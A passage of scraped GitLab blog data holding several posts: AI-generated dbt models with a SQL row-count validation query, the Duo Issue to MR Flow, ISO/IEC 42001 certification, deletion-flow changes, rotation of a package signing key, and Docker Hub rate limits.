- `sources.yml` configuration.\n   - `schema.yml` files with tests and documentation.\n   - Updated `dbt_project.yml` with schema references.\n\n## The results\n\nThe output was remarkable:\n\n- **1 modified file:** dbt_project.yml (added reddit_ads schema configuration)\n- **29 new files:**\n  - **26 dbt models** (13 source + 13 workspace)\n  - **3 YAML files**\n- **Nearly 900 lines of code** generated automatically\n- **Built-in data tests,** including unique constraints on primary key columns\n- **Generic descriptions** for all models and columns\n- **Proper deduplication logic** in source models\n- **Clean, consistent code structure** following the GitLab dbt style guide\n\n```yaml\ntransform/snowflake-dbt/\n├── dbt_project.yml                                                    [MODIFIED]\n└── models/\n    ├── sources/\n    │   └── reddit_ads/\n    │       ├── reddit_ads_ad_group_source.sql                        [NEW]\n    │       ├── reddit_ads_ad_source.sql                              [NEW]\n    │       ├── reddit_ads_business_account_source.sql                [NEW]\n    │       ├── reddit_ads_campaign_source.sql                        [NEW]\n    │       ├── reddit_ads_custom_audience_history_source.sql         [NEW]\n    │       ├── reddit_ads_geolocation_source.sql                     [NEW]\n    │       ├── reddit_ads_interest_source.sql                        [NEW]\n    │       ├── reddit_ads_targeting_community_source.sql             [NEW]\n    │       ├── reddit_ads_targeting_custom_audience_source.sql       [NEW]\n    │       ├── reddit_ads_targeting_device_source.sql                [NEW]\n    │       ├── reddit_ads_targeting_geolocation_source.sql           [NEW]\n    │       ├── reddit_ads_targeting_interest_source.sql              [NEW]\n    │       ├── reddit_ads_time_zone_source.sql                       [NEW]\n    │       ├── schema.yml                                            [NEW]\n    │       └── sources.yml                                           [NEW]\n    └── workspaces/\n        └── workspace_marketing/\n            └── reddit_ads/\n                ├── schema.yml                                        [NEW]\n                ├── wk_reddit_ads_ad.sql                              [NEW]\n                ├── wk_reddit_ads_ad_group.sql                        [NEW]\n                ├── wk_reddit_ads_business_account.sql                [NEW]\n                ├── wk_reddit_ads_campaign.sql                        [NEW]\n                ├── wk_reddit_ads_custom_audience_history.sql         [NEW]\n                ├── wk_reddit_ads_geolocation.sql                     [NEW]\n                ├── wk_reddit_ads_interest.sql                        [NEW]\n                ├── wk_reddit_ads_targeting_community.sql             [NEW]\n                ├── wk_reddit_ads_targeting_custom_audience.sql       [NEW]\n                ├── wk_reddit_ads_targeting_device.sql                [NEW]\n                ├── wk_reddit_ads_targeting_geolocation.sql           [NEW]\n                ├── wk_reddit_ads_targeting_interest.sql              [NEW]\n                └── wk_reddit_ads_time_zone.sql                       [NEW]\n```\n\n### Sample generated code\n\nHere's an example of the generated code quality. For the `time_zone` table, GitLab Duo created:\n\n**Prep Layer Source Model**\n\n```sql\nWITH source AS (\n  SELECT *\n  FROM {{ source('reddit_ads','time_zone') }}\n  QUALIFY ROW_NUMBER() OVER (PARTITION BY id ORDER BY _fivetran_synced DESC) = 1\n),\n\nrenamed AS (\n  SELECT\n    id::VARCHAR                               AS time_zone_id,\n    code::VARCHAR                             AS time_zone_code,\n    dst_offset::NUMBER                        AS time_zone_dst_offset,\n    is_dst_active::BOOLEAN                    AS is_time_zone_dst_active,\n    name::VARCHAR                             AS time_zone_name,\n    offset::NUMBER                            AS time_zone_offset,\n    _fivetran_synced::TIMESTAMP               AS fivetran_synced_at\n  FROM source\n)\n\nSELECT * FROM renamed\n```\n\n**Schema.yml**\n\n```yaml\nmodels:\n  - name: reddit_ads_time_zone_source\n    description: Time zone data from Reddit Ads system\n    columns:\n      - name: time_zone_id\n        description: Unique identifier for time zone records\n        data_tests:\n          - unique\n          - not_null\n      - name: time_zone_code\n        description: Code for the time zone\n      - name: time_zone_dst_offset\n        description: Daylight saving time offset for the time zone\n      - name: is_time_zone_dst_active\n        description: Flag indicating if daylight saving time is active\n      - name: time_zone_name\n        description: Name of the time zone\n      - name: time_zone_offset\n        description: Offset for the time zone\n      - name: fivetran_synced_at\n        description: Timestamp when the record was last synced by Fivetran\n```\n\n**Source.yml**\n\n```yaml\nsources:\n  - name: reddit_ads\n    database: RAW\n    schema: reddit_ads\n    loaded_at_field: _fivetran_synced\n    loader: fivetran\n    description: Reddit Ads data\n\n    quoting:\n      database: true\n      schema: false\n      identifier: false\n\n    tables:\n      - name: time_zone\n```\n\n**Workspace Model**\n\n```sql\nWITH source AS (\n  SELECT *\n  FROM {{ ref('reddit_ads_time_zone_source') }}\n)\n\nSELECT * FROM source\n```\n\n## 5. Quality validation\n\nNow that the code looks good, I pushed it to the MR and executed [CI test pipeline](https://handbook.gitlab.com/handbook/enterprise-data/platform/ci-jobs/#build_changes) to test the code and validate the outcome. I asked GitLab Duo to create a validation query:\n\n```yaml\nCreate a test query to test the row counts between the raw layer and the workspace layer. Keep in mind that we do deduplication, so we can compare both using distinct on the primary keys.\n```\n\nThe AI generated a comprehensive validation query that:\n\n- Compared row counts between raw and workspace layers.\n- Accounted for deduplication logic.\n- Tested all 13 tables.\n- Calculated data retention percentages.\n\n\u003Cdetails>\n\u003Csummary>Generated SQL Test query\u003C/summary>\n\n```sql\n-- Reddit Ads Row Count Validation Test\n-- Compares distinct counts between RAW layer and WORKSPACE_MARKETING layer\n-- Accounts for deduplication logic in source models\n\nWITH raw_counts AS (\n  -- Single primary key tables\n  SELECT 'ad' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.AD\n  \n  UNION ALL\n  \n  SELECT 'business_account' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.BUSINESS_ACCOUNT\n  \n  UNION ALL\n  \n  SELECT 'campaign' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.CAMPAIGN\n  \n  UNION ALL\n  \n  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.CUSTOM_AUDIENCE_HISTORY\n  \n  UNION ALL\n  \n  SELECT 'geolocation' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'interest' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.INTEREST\n  \n  UNION ALL\n  \n  SELECT 'time_zone' AS table_name, COUNT(DISTINCT id) AS raw_count\n  FROM RAW.REDDIT_ADS.TIME_ZONE\n  \n  -- Composite primary key tables\n  UNION ALL\n  \n  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(account_id, '|', id)) AS raw_count\n  FROM RAW.REDDIT_ADS.AD_GROUP\n  \n  UNION ALL\n  \n  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', community_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_COMMUNITY\n  \n  UNION ALL\n  \n  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', custom_audience_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_CUSTOM_AUDIENCE\n  \n  UNION ALL\n  \n  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT _fivetran_id) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_DEVICE\n  \n  UNION ALL\n  \n  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', geolocation_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(ad_group_id, '|', interest_id)) AS raw_count\n  FROM RAW.REDDIT_ADS.TARGETING_INTEREST\n),\n\nworkspace_counts AS (\n  -- Workspace layer counts using primary keys from schema.yml\n  SELECT 'ad' AS table_name, COUNT(DISTINCT ad_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD\n  \n  UNION ALL\n  \n  SELECT 'business_account' AS table_name, COUNT(DISTINCT business_account_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_BUSINESS_ACCOUNT\n  \n  UNION ALL\n  \n  SELECT 'campaign' AS table_name, COUNT(DISTINCT campaign_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CAMPAIGN\n  \n  UNION ALL\n  \n  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT custom_audience_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CUSTOM_AUDIENCE_HISTORY\n  \n  UNION ALL\n  \n  SELECT 'geolocation' AS table_name, COUNT(DISTINCT geolocation_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'interest' AS table_name, COUNT(DISTINCT interest_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_INTEREST\n  \n  UNION ALL\n  \n  SELECT 'time_zone' AS table_name, COUNT(DISTINCT time_zone_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TIME_ZONE\n  \n  -- Composite primary key tables\n  UNION ALL\n  \n  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(ad_group_account_id, '|', ad_group_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD_GROUP\n  \n  UNION ALL\n  \n  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(targeting_community_ad_group_id, '|', targeting_community_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_COMMUNITY\n  \n  UNION ALL\n  \n  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(targeting_custom_audience_ad_group_id, '|', targeting_custom_audience_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_CUSTOM_AUDIENCE\n  \n  UNION ALL\n  \n  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT targeting_device_fivetran_id) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_DEVICE\n  \n  UNION ALL\n  \n  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(targeting_geolocation_ad_group_id, '|', targeting_geolocation_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_GEOLOCATION\n  \n  UNION ALL\n  \n  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(targeting_interest_ad_group_id, '|', targeting_interest_id)) AS workspace_count\n  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_INTEREST\n)\n\n-- Final comparison with validation results\nSELECT \n  r.table_name,\n  r.raw_count,\n  w.workspace_count,\n  r.raw_count - w.workspace_count AS count_difference,\n  CASE \n    WHEN r.raw_count = w.workspace_count THEN '✅ PASS'\n    WHEN r.raw_count > w.workspace_count THEN '⚠️ RAW > WORKSPACE (Expected due to deduplication)'\n    ELSE '❌ FAIL - WORKSPACE > RAW (Unexpected)'\n  END AS validation_status,\n  ROUND((w.workspace_count::FLOAT / r.raw_count::FLOAT) * 100, 2) AS data_retention_percentage\nFROM raw_counts r\nJOIN workspace_counts w ON r.table_name = w.table_name\nORDER BY r.table_name;\n```\n\n\u003C/details>\n\n![query results table](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/guicjhzwvrz3czwjs3xo.png)\n\nRunning this query showed:\n\n- **Zero differences** in row counts after deduplication\n- **100% data retention** across all tables\n- **All tests passed** successfully\n\n## The bottom line: Massive time savings\n\n- **Traditional approach:** 6-8 hours of manual coding, testing, and debugging\n\n- **GitLab Duo approach:** 6-8 minutes of generation + review time\n\nThis represents a 60x improvement in developer efficiency (from 6-8 hours to 6-8 minutes), while maintaining high code quality.\n\n## Best practices for success\n\nBased on this experience, here are key recommendations:\n\n### Prepare your metadata\n\n- Extract complete table structures including data types and constraints.\n- Identify primary keys and relationships upfront.\n- Export clean, well-formatted CSV input files.\n\n**Note:** By connecting GitLab Duo via MCP to your (meta)data, you could exclude this manual step.\n\n### Provide clear context\n\n- Reference existing example MRs when possible.\n- Specify your coding standards and style guides.\n- Be explicit about folder structure and naming conventions.\n\n### Validate thoroughly\n\n- Always create validation queries for data integrity.\n- Test locally before merging.\n- Run your CI/CD pipeline to catch any issues.\n\n### Leverage AI for follow-up tasks\n\n- Generate test queries automatically.\n- Create documentation templates.\n- Build validation scripts.\n\n## What's next\n\nThis demonstration shows how AI-powered development tools like GitLab Duo are also transforming data engineering workflows. The ability to generate hundreds of lines of production-ready code in minutes —  complete with tests, documentation, and proper structure — represents a fundamental shift in how we approach repetitive development tasks.\n\nBy leveraging AI to handle the repetitive aspects of dbt model creation, data engineers can focus on higher-value activities like data modeling strategy, performance optimization, and business logic implementation.\n\n**Ready to try this yourself?** Start with a small dataset, prepare your metadata carefully, and watch as GitLab Duo transforms hours of work into minutes of automated generation.\n\n> [Trial GitLab Duo Agent Platform today.](https://about.gitlab.com/gitlab-duo/agent-platform/)\n\n## Read more\n\n- [GitLab 18.3: Expanding AI orchestration in software engineering](https://about.gitlab.com/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/)\n- [GitLab Duo Agent Platform Public Beta: Next-gen AI orchestration and more](https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/)\n",{"content":850,"config":859},{"title":851,"description":852,"authors":853,"heroImage":855,"date":856,"body":857,"category":698,"tags":858},"Vibe coding with GitLab Duo Agent Platform: Issue to MR Flow","Learn how to update your application in minutes with our newest agent Flow that takes developers from idea to code.",[854],"Cesar Saavedra","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662465/Blog/Hero%20Images/GitLab_Duo_Workflow_Unified_Data_Store__1_.png","2025-09-03","[GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo/agent-platform/) (available now in Beta) provides a framework for AI agents to interact with GitLab resources like issues and merge requests, enabling complex, multistep tasks from concept to completion. Agent Platform offers conversational ([agentic chat](https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover/)) and automated ([agent Flows](https://about.gitlab.com/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/)) experiences to assist with code generation, modernization, security vulnerability resolution, and project analysis — all while providing enterprise-grade security and customizable controls.\n\n\"Issue to MR\" is an agent Flow that streamlines turning a well-scoped issue into a draft merge request (MR). The Flow analyzes an issue’s description and requirements, opens a draft MR linked to the issue, creates a development plan, and proposes an implementation — right from the GitLab UI.\n\n## The developer challenge\n\nProduct tweaks such as rearranging a UI layout, adjusting component sizing, or making a minor workflow change shouldn't require hours of setup work. Yet developers find themselves caught in a frustrating cycle: hunting through codebases to locate the right files, creating branches, piecing together scattered changes across multiple components, and navigating complex review processes. And this is all before they can even see if their solution works. Development overhead transforms what should be quick iterations into time-consuming tasks, slowing down feedback loops and making simple product improvements feel like major undertakings.\n\n## How to use the Issue to MR Flow to accelerate an application update\n\nYou first need to fulfill these prerequisites before using the Issue to MR Flow.\n\nPrerequisites:\n\n* An existing issue with clear requirements and acceptance criteria. This will help GitLab Duo Agent Platform better understand what you're trying to achieve and improve the quality of your output.  \n* Project access at Developer or higher permissions as the Flow will be making edits to your project's source code.  \n* GitLab Duo Agent Platform enabled for your group or project, with Flows allowed. For this, go to your project’s **Settings > General > GitLab Duo > Allow flow execution** toggle and enable it. GitLab is committed to helping provide guardrails, so agentic AI features require turning on these toggles to protect sensitive projects and ensure only the projects you want are accessible to GitLab Duo Agent Platform.\n\nOnce you have fulfilled all the prerequisites above, you can follow these steps to take advantage of the Issue to MR Flow:\n\n1. Create a project issue that describes what you’d like GitLab Duo Agent Platform to accomplish for you. Provide as much detail as possible in the issue description. If the issue already exists, open it by going to **Plan > Issues** and clicking on the issue describing the update you want. Keep the issue well-scoped and specific.\n\n2. Below the issue header, click on **Generate MR with Duo** to kick off the Flow.\n\n3. If you’d like to track the progress of the agents working on implementing your issue, go to **Automate > Agent sessions** to see the live session log as agents plan and propose changes.\n\n4. When the pipeline completes, a link to the MR appears in the issue’s activity. Open it to review the summary and file-level changes.\n\n5. If you’d like to validate the proposed updates by GitLab Duo Agent Platform locally, you can pull the branch on your laptop, build and run your app, and verify that the update behaves as expected. If needed, make edits in the MR and proceed with normal review.\n\n6. If you’re happy with all the proposed application updates, merge the MR to the main branch.\n\n## Why the Issue to MR Flow works well for application changes\n\nThe Issue to MR Flow proposes code changes and updates the MR directly, so you spend less time locating files and only have to evaluate and review the result. In addition, the MR is automatically linked to the originating issue, keeping context tight for reviewers and stakeholders. Finally, you can monitor the agent session to understand what’s happening at each step.\n\n## Benefits of GitLab Duo Agent Platform\n\nGitLab Duo Agent Platform is [an agentic orchestration layer](https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/) that brings **full project context**, including planning to coding, building, securing, deploying, and monitoring, so agents can help across the entire software development lifecycle (SDLC), not just code editing.\n\n* Unified data model: GitLab Duo Agents operate on GitLab’s unified SDLC data, enabling higher-quality decisions and collaboration across tasks — including non-coding ones.\n\n* Security and compliance are built-in: GitLab Duo Agents run within enterprise guardrails and are usable even in highly-regulated or offline/air-gapped environments.\n\n* Interoperability and extensibility: Orchestrate flows across vendors and tools; connect external data via [MCP](https://about.gitlab.com/topics/ai/model-context-protocol/)/A2A for richer context.\n\n* Scale collaboration: GitLab Duo Agents work in the GitLab UI and IDEs, enabling many-to-many human-agent collaboration.\n\n* Discoverable and shareable: Find and share agents and Flows in a centralized AI Catalog.\n\n## Try the Issue to MR Flow today\n\nFor application updates, like a modest UI adjustment, the Issue to MR Flow helps you move from a clear issue to a reviewable MR quickly, with progress you can monitor and changes you can validate and merge through your standard workflow. It keeps context, reduces handoffs, and lets your team focus on quality rather than busywork.\n\nWatch the Issue to MR Flow in action:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/BrrMHN4gXF4?si=J7beTgWOLxvS4hOw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> Try the Issue to MR Flow on GitLab Duo Agent Platform now with a [free trial of GitLab Ultimate with Duo Enterprise](https://about.gitlab.com/free-trial/).\n\n\n",[694,776,820,821],{"featured":91,"template":808,"slug":860},"vibe-coding-with-gitlab-duo-agent-platform-issue-to-mr-flow",{"content":862,"config":871},{"title":863,"description":864,"authors":865,"heroImage":867,"date":868,"body":869,"category":698,"tags":870},"GitLab achieves ISO/IEC 42001 certification for AI governance","Learn about this new ISO certification, our associated GitLab Duo features, and our commitment to responsible AI development.",[866],"Davoud Tu","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098208/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_479904468%20%281%29_4lmOEVlaXP0YC3hSFmOw6i_1750098208185.jpg","2025-09-02","Artificial intelligence (AI) is transforming how we work and solve problems across every industry. As AI becomes more integrated into business processes and decision-making, the need for robust AI governance frameworks has never been more critical. Organizations must balance the potential opportunity of AI with ensuring AI systems are built safely, ethically, and with accountability.\n\nAs part of our commitment to responsible AI management, we're excited to announce that GitLab has achieved the ISO/IEC 42001 certification, the first internationally recognized standard for establishing, implementing, maintaining, and continually improving an Artificial Intelligence Management System (AIMS) within organizations. \n\nThe scope of the certification includes our comprehensive AI offering, GitLab Duo, as well as GitLab Duo Agent Platform and its components. As a leader in DevSecOps, GitLab provides AI-powered features across the development lifecycle, including capabilities such as:\n\n* [GitLab Duo Agent Platform](https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/) (now in public beta, general availability planned for later this year): Enables asynchronous collaboration between developers and specialized AI agents throughout the software development lifecycle, helping transform linear development processes into dynamic, parallel workflows while providing agents with access to all of the software engineering context stored within GitLab's unified platform.\n\n* [Code Suggestions](https://docs.gitlab.com/user/project/repository/code_suggestions/) (generally available): Allows developers to stay in flow by predictively completing code blocks, defining function logic, generating tests, and proposing common code like regex patterns, all in the same environment where they already code.\n\n* [Vulnerability Explanation](https://docs.gitlab.com/user/application_security/vulnerabilities/#explaining-a-vulnerability) (generally available): Helps developers and security analysts understand vulnerabilities, how they might be exploited, and how to fix them.\n\n* [Test Generation](https://docs.gitlab.com/user/gitlab_duo/) (generally available): Creates tests automatically for selected code, improving coverage and reducing manual effort.\n\n## What this certification means for GitLab users\n\n**Enhanced trust and transparency:** Our AI features are built and managed according to globally recognized best standards for AI governance, supporting reliability and ethical implementation.\n\n**Strategic risk management:** We've implemented risk assessment and risk treatment strategies for AI components within our platform, considering aspects such as operational business continuity risks, technical risks, security and privacy risks, and broader societal implications. This proactive approach enhances customer data protection and facilitates more reliable AI-powered features.\n\n**Continuous improvement:** Under the ISO/IEC 42001 framework, we will work to continuously evaluate and enhance our AI capabilities through annual external surveillance audits, regular internal assessments, and leadership AIMS review while maintaining standards of quality and responsibility.\n\n**Regulatory alignment:** As AI regulations continue to evolve globally, like the EU AI Act, this certification supports GitLab's alignment with emerging regulatory requirements.\n\nThis achievement validates GitLab's position as the trusted platform for AI-powered DevSecOps, and we are excited to continue leading the way in responsible AI innovation.\n\n## Learn more\n\n- View the ISO/IEC 42001 certificate at the [GitLab Trust Center](https://trust.gitlab.com/).\n- Read about our [AIMS in our handbook](https://handbook.gitlab.com/handbook/security/isms/).\n- Check out the [GitLab AI Transparency Center](https://about.gitlab.com/ai-transparency-center/).\n- Explore all [GitLab Duo features and capabilities](https://docs.gitlab.com/user/gitlab_duo/) in our documentation.",[755,694,776],{"featured":91,"template":808,"slug":872},"gitlab-achieves-iso-iec-42001-certification-for-ai-governance",{"category":706,"slug":710,"posts":874},[875,887,898],{"content":876,"config":885},{"title":877,"description":878,"authors":879,"heroImage":881,"date":882,"body":883,"category":710,"tags":884},"Improving GitLab's deletion flow: What to expect in coming months","GitLab is enhancing its deletion flow for groups and projects with features like pending deletion, self-service recovery, and an extended 30-day recovery window. Here's what you need to know.\n",[880],"Christina Lohr","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663000/Blog/Hero%20Images/tanukilifecycle.png","2025-07-14","At GitLab, we're committed to continuously improving your experience across our platform. Today, we're excited to announce significant enhancements to our deletion flow for groups and projects. We are rolling out a series of improvements designed to protect your data, simplify recovery, and create a more intuitive experience across all pricing tiers.\n\n## Why we're making these changes\n\nOur current deletion flow has some inconsistencies that can lead to frustrating experiences. Free tier users have had limited or no options for recovering accidentally deleted content, projects in personal namespaces haven't had the same protections as those in groups, and group namespace paths have remained locked after deletion, preventing immediate reuse.\n\nWe've heard your feedback, and we're addressing these pain points with a comprehensive redesign of our deletion flow that will be rolled out in multiple iterations.\n\n## What has changed already\n\nOver the past quarter, we have implemented fundamental improvements to create a consistent deletion experience across all pricing tiers. These changes have eliminated the frustration of accidentally deleting important content with no recovery option.\n\n* [**Pending deletion for all users**](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/#deletion-protection-available-for-all-users)**:** All deleted projects and groups now enter a \"pending deletion\" state before being permanently deleted, regardless of their pricing tier.  \n* [**Self-service recovery**](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/#delayed-project-deletion-for-user-namespaces)**:** You can now restore your own content without contacting support, giving you more control and autonomy over your data.  \n* [**Clear status indicators**](https://gitlab.com/gitlab-org/gitlab/-/issues/502234)**:** We have standardized how deletion status is displayed across the platform, making it immediately clear when content is pending deletion.  \n* **Extended recovery window:** On July 10, 2025, we increased the pending deletion period from 7 to 30 days on GitLab.com. This means you now have ample time to recover from accidental deletions.\n\n## What's coming next\n\n### Currently in development\n\nBuilding on the foundation established in our first iteration, we are further enhancing your deletion experience with two key improvements:\n\n* [**Admin area consistency**](https://gitlab.com/groups/gitlab-org/-/epics/17372)**:** Deletions initiated from the Admin area will follow the same pending deletion process as deletions initiated directly from the group or project level, creating a unified experience across all access points.  \n* [**Immediate path reuse**](https://gitlab.com/gitlab-org/gitlab/-/issues/526081)**:** When you delete a project or group, its namespace path will be automatically renamed, allowing you to immediately reuse the original path for new content. This will remove the waiting period currently required to reuse namespace paths.\n\n### Planned for future release\n\nThe final phase will introduce a redesigned deletion experience that completes our vision for a modern, intuitive deletion system:\n\n* **Centralized \"Trash\" interface:** All your deleted content will be accessible in a dedicated \"Trash\" section, providing a familiar paradigm similar to what you're used to in other applications.  \n* [**Clear action separation**](https://gitlab.com/gitlab-org/gitlab/-/issues/541182)**:** We will create a clear distinction between \"Delete\" (temporary, recoverable) and \"Delete Permanently\" (irrevocable) actions to prevent accidental data loss.  \n* **Bulk management:** You'll be able to restore or permanently delete multiple items at once, making cleanup and recovery more efficient.\n\n## How these changes benefit you\n\nThese enhancements deliver several key benefits that will transform your experience with GitLab's deletion functionality.\n\n* **Protection against data loss** is provided through pending deletion and self-service recovery available across all tiers, giving you a safety net against accidental deletions. The **consistent experience** ensures the same deletion flow applies to all projects and groups, eliminating inconsistencies across the platform.\n\n* You'll gain **greater control** through enhanced visibility and management options for deleted content, with a familiar interface that makes recovery intuitive. **Improved workflow** efficiency will result from immediate path reuse and bulk management capabilities that streamline your content organization process.\n\n* Most importantly, you'll have **peace of mind** knowing that the extended 30-day recovery window ensures ample opportunity to recover important data, while the clear separation between temporary and permanent deletion actions prevents accidental data loss.\n\n## Your feedback matters\n\nAs always, we value your input. Please leave feedback in [the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/538165).",[776],{"featured":6,"template":808,"slug":886},"improving-gitlab-deletion-flow-what-to-expect-in-coming-months",{"content":888,"config":896},{"title":889,"description":890,"authors":891,"heroImage":881,"date":893,"body":894,"category":710,"tags":895},"GitLab rotating Omnibus Linux package signing key","Learn who is impacted by the rotation of the GNU Privacy Guard (GPG) key and what you need to know.",[892],"GitLab","2025-04-16","As part of our standard security practices, GitLab is rotating the GNU Privacy Guard (GPG) key used to sign all Omnibus Linux packages on April 16, 2025. This key ensures the integrity of our packages, verifying that they have not been tampered with after creation in our CI pipelines. This key is distinct from the repository metadata signing key used by package managers and the GPG signing key for the GitLab Runner. GitLab is revoking the existing key and will begin signing upcoming packages using a new key with fingerprint `98BF DB87 FCF1 0076 416C 1E0B AD99 7ACC 82DD 593D`.\n\n**What do I need to do?**\n\nIf you currently validate the GPG signatures of GitLab Omnibus packages, you will need to update your copy of the package signing key. Packages published before this article will remain signed with the previous key.\n\nThe package signing key is separate from the repository metadata signing key used by your operating system’s package managers (like `apt` or `yum`). Unless you are specifically verifying package signatures or have configured your package manager to verify the package signatures, no action is required to continue installing GitLab Omnibus packages.\n\n**Where can I find the new key?**\n\nThe new key can be downloaded from `packages.gitlab.com` using the URL:\n\n[https://packages.gitlab.com/gitlab/gitlab-ee/gpgkey/gitlab-gitlab-ee-CB947AD886C8E8FD.pub.gpg](https://packages.gitlab.com/gitlab/gitlab-ee/gpgkey/gitlab-gitlab-ee-CB947AD886C8E8FD.pub.gpg)\n\nPlease check the documentation for more information concerning [verification of the package signatures](https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures).\n\n**What do I do if I still have problems?**\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).",[496,776,786],{"slug":897,"featured":6,"template":808},"gitlab-rotating-omnibus-linux-package-signing-key",{"content":899,"config":908},{"title":900,"description":901,"authors":902,"heroImage":904,"date":905,"body":906,"category":710,"tags":907},"Prepare now: Docker Hub rate limits will impact GitLab CI/CD","Learn how Docker Hub's upcoming pull rate limits will affect GitLab pipelines and what you can do to avoid disruptions.",[903],"Tim Rizzi","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","2025-03-24","On April 1, 2025, Docker will implement new [pull rate\nlimits](https://docs.docker.com/docker-hub/usage/) to Docker Hub that may\nsignificantly impact CI/CD pipelines across the industry, including those\nrunning on GitLab. The most significant change is the 100 pulls-per-6-hours\nlimit for unauthenticated users.\n\n\n## What's changing?\n\n\nStarting April 1, Docker will enforce the following pull rate limits:\n\n\n| User type | Pull rate limit per hour | Number of public repositories | Number of private repositories |\n|-----------|----------------|--------------|------------------|\n| Business, Team, Pro (authenticated) | Unlimited (fair use) | Unlimited | Unlimited |\n| Personal (authenticated) | 200 per 6-hour window | Unlimited | Up to 1 |\n| Unauthenticated users | 100 per 6-hour window per IPv4 address or IPv6 /64 subnet | Not applicable | Not applicable |\n\n\n\u003Cp>\u003C/p>\n\nThis is particularly important because:\n\n\n* GitLab's Dependency Proxy currently pulls from Docker Hub as an\nunauthenticated user.\n\n* Most CI/CD pipelines that don't use the Dependency Proxy pull directly\nfrom Docker Hub as unauthenticated users.\n\n* On hosted runners for GitLab.com, multiple users might share the same IP\naddress or subnet, making them collectively subject to this limit.\n\n\n## How this impacts GitLab users\n\n\n**Impact on direct Docker Hub pulls**\n\n\nIf your CI/CD pipelines directly pull images from Docker Hub without\nauthentication, they will be limited to 100 pulls per six-hour window per IP\naddress. For pipelines that run frequently or across multiple projects\nsharing the same runner infrastructure, this will quickly exhaust the limit\nand cause pipeline failures.\n\n\n**Impact on GitLab Dependency Proxy**\n\n\nThe GitLab Dependency Proxy feature allows you to cache Docker 